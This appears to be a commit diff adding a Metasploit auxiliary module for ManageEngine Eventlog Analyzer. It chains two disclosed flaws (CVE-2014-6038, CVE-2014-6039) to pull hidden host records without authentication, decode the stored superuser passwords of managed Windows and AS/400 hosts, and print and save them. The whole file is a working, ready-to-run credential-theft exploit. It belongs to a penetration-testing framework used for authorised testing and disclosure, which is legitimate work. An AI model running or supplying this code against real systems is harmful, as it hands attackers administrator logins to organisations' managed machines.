|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'rexml/document' |
| 8 | + |
| 9 | +class Metasploit3 < Msf::Auxiliary |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Auxiliary::Report |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credential Disclosure', |
| 17 | + 'Description' => %q{ |
| 18 | + ManageEngine Eventlog Analyzer from v7 to v9.9 b9002 has two security vulnerabilities that allow |
| 19 | + an unauthenticated user to obtain the superuser password of any managed Windows and AS/400 hosts. |
| 20 | + This module abuses both vulnerabilities to collect all the available usernames and passwords. |
| 21 | + First the agentHandler servlet is abused to get the hostid and slid of each device (CVE-2014-6038); |
| 22 | + then these numeric id's are used to extract usernames and passwords by abusing the hostdetails |
| 23 | + servlet (CVE-2014-6039). |
| 24 | + Note that on version 7 the TARGETURI has to be prepended with /event. |
| 25 | + }, |
| 26 | + 'Author' => |
| 27 | + [ |
| 28 | + 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module |
| 29 | + ], |
| 30 | + 'License' => MSF_LICENSE, |
| 31 | + 'References' => |
| 32 | + [ |
| 33 | + [ 'CVE', '2014-6038' ], |
| 34 | + [ 'CVE', '2014-6039' ], |
| 35 | + [ 'OSVDB', 'TODO' ], |
| 36 | + [ 'OSVDB', 'TODO' ], |
| 37 | + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_eventlog_info_disc.txt' ], |
| 38 | + [ 'URL', 'TODO_FULLDISC_URL' ] |
| 39 | + ], |
| 40 | + 'DisclosureDate' => 'Nov 5 2014')) |
| 41 | + |
| 42 | + register_options( |
| 43 | + [ |
| 44 | + OptPort.new('RPORT', |
| 45 | + [true, 'The target port', 8400]), |
| 46 | + OptString.new('TARGETURI', [ true, "Eventlog Analyzer application URI (should be /event for version 7)", '/']), |
| 47 | + ], self.class) |
| 48 | + end |
| 49 | + |
| 50 | + |
| 51 | + def decode_password(encoded_password) |
| 52 | + password_xor = Rex::Text.decode_base64(encoded_password) |
| 53 | + password = "" |
| 54 | + password_xor.bytes.each do |byte| |
| 55 | + password << (byte ^ 0x30) |
| 56 | + end |
| 57 | + return password |
| 58 | + end |
| 59 | + |
| 60 | + |
| 61 | + def run |
| 62 | + res = send_request_cgi({ |
| 63 | + 'uri' => normalize_uri(target_uri.path, "agentHandler"), |
| 64 | + 'method' =>'GET', |
| 65 | + 'vars_get' => { |
| 66 | + 'mode' => 'getTableData', |
| 67 | + 'table' => 'HostDetails' |
| 68 | + } |
| 69 | + }) |
| 70 | + |
| 71 | + if res and res.code == 200 |
| 72 | + # When passwords have digits the XML parsing will fail. |
| 73 | + # Replace with an empty password attribute so that we know the device has a password |
| 74 | + # and therefore we want to add it to our host list. |
| 75 | + xml = res.body.to_s.gsub(/&#[0-9]*;/,Rex::Text.rand_text_alpha(6)) |
| 76 | + begin |
| 77 | + doc = REXML::Document.new(xml) |
| 78 | + rescue |
| 79 | + fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{xml}") |
| 80 | + end |
| 81 | + slid_host_ary = Array.new |
| 82 | + doc.elements.each('Details/HostDetails') do |ele| |
| 83 | + if ele.attributes["password"] != nil |
| 84 | + # If an element doesn't have a password, then we don't care about it. |
| 85 | + # Otherwise store the slid and host_id to use later. |
| 86 | + slid_host_ary << [ele.attributes["slid"], ele.attributes["host_id"]] |
| 87 | + end |
| 88 | + end |
| 89 | + |
| 90 | + cred_table = Rex::Ui::Text::Table.new( |
| 91 | + 'Header' => 'ManageEngine EventLog Analyzer Managed Devices Credentials', |
| 92 | + 'Indent' => 1, |
| 93 | + 'Columns' => |
| 94 | + [ |
| 95 | + 'Host', |
| 96 | + 'Type', |
| 97 | + 'SubType', |
| 98 | + 'Domain', |
| 99 | + 'Username', |
| 100 | + 'Password', |
| 101 | + ] |
| 102 | + ) |
| 103 | + |
| 104 | + slid_host_ary.each do |host| |
| 105 | + res = send_request_cgi({ |
| 106 | + 'uri' => normalize_uri(target_uri.path, "hostdetails"), |
| 107 | + 'method' =>'GET', |
| 108 | + 'vars_get' => { |
| 109 | + 'slid' => host[0], |
| 110 | + 'hostid' => host[1] |
| 111 | + } |
| 112 | + }) |
| 113 | + |
| 114 | + if res and res.code == 200 |
| 115 | + begin |
| 116 | + doc = REXML::Document.new(res.body) |
| 117 | + rescue |
| 118 | + fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{res.body.to_s}") |
| 119 | + end |
| 120 | + doc.elements.each('Details/Hosts') do |ele| |
| 121 | + # Add an empty string if a variable doesn't exist, we have to check it |
| 122 | + # somewhere and it's easier to do it here. |
| 123 | + dns_name = (ele.attributes["dns_name"] != nil ? ele.attributes["dns_name"] : "") |
| 124 | + host_ipaddress = (ele.attributes["host_ipaddress"] != nil ? ele.attributes["host_ipaddress"] : "") |
| 125 | + |
| 126 | + ele.elements.each('HostDetails') do |details| |
| 127 | + domain_name = (details.attributes["domain_name"] != nil ? details.attributes["domain_name"] : "") |
| 128 | + username = (details.attributes["username"] != nil ? details.attributes["username"] : "") |
| 129 | + password_encoded = (details.attributes["password"] != nil ? details.attributes["password"] : "") |
| 130 | + password = decode_password(password_encoded) |
| 131 | + type = (details.attributes["type"] != nil ? details.attributes["type"] : "") |
| 132 | + subtype = (details.attributes["subtype"] != nil ? details.attributes["subtype"] : "") |
| 133 | + |
| 134 | + if not (type =~ /Windows/ or subtype =~ /Windows/) |
| 135 | + # With AS/400 we get some garbage in the domain name even though it doesn't exist |
| 136 | + domain_name = "" |
| 137 | + end |
| 138 | + cred_table << [host_ipaddress, type, subtype, domain_name, username, password] |
| 139 | + |
| 140 | + msg = "Got login to #{host_ipaddress} | running " |
| 141 | + msg << type << (subtype != "" ? " | #{subtype}" : "") |
| 142 | + msg << " | username: " |
| 143 | + msg << (domain_name != "" ? "#{domain_name}\\#{username}" : username) |
| 144 | + msg << " | password: #{password}" |
| 145 | + print_good(msg) |
| 146 | + end |
| 147 | + end |
| 148 | + else |
| 149 | + print_error("#{peer} - Failed to reach hostdetails servlet") |
| 150 | + end |
| 151 | + end |
| 152 | + |
| 153 | + print_line |
| 154 | + print_line("#{cred_table}") |
| 155 | + loot_name = 'manageengine.eventlog.managed_hosts.creds' |
| 156 | + loot_type = 'text/csv' |
| 157 | + loot_filename = 'manageengine_eventlog_managed_hosts_creds.csv' |
| 158 | + loot_desc = 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credentials' |
| 159 | + p = store_loot( |
| 160 | + loot_name, |
| 161 | + loot_type, |
| 162 | + rhost, |
| 163 | + cred_table.to_csv, |
| 164 | + loot_filename, |
| 165 | + loot_desc) |
| 166 | + print_status "Credentials saved in: #{p}" |
| 167 | + else |
| 168 | + print_error("#{peer} - Failed to reach agentHandler servlet") |
| 169 | + end |
| 170 | + end |
| 171 | +end |
0 commit comments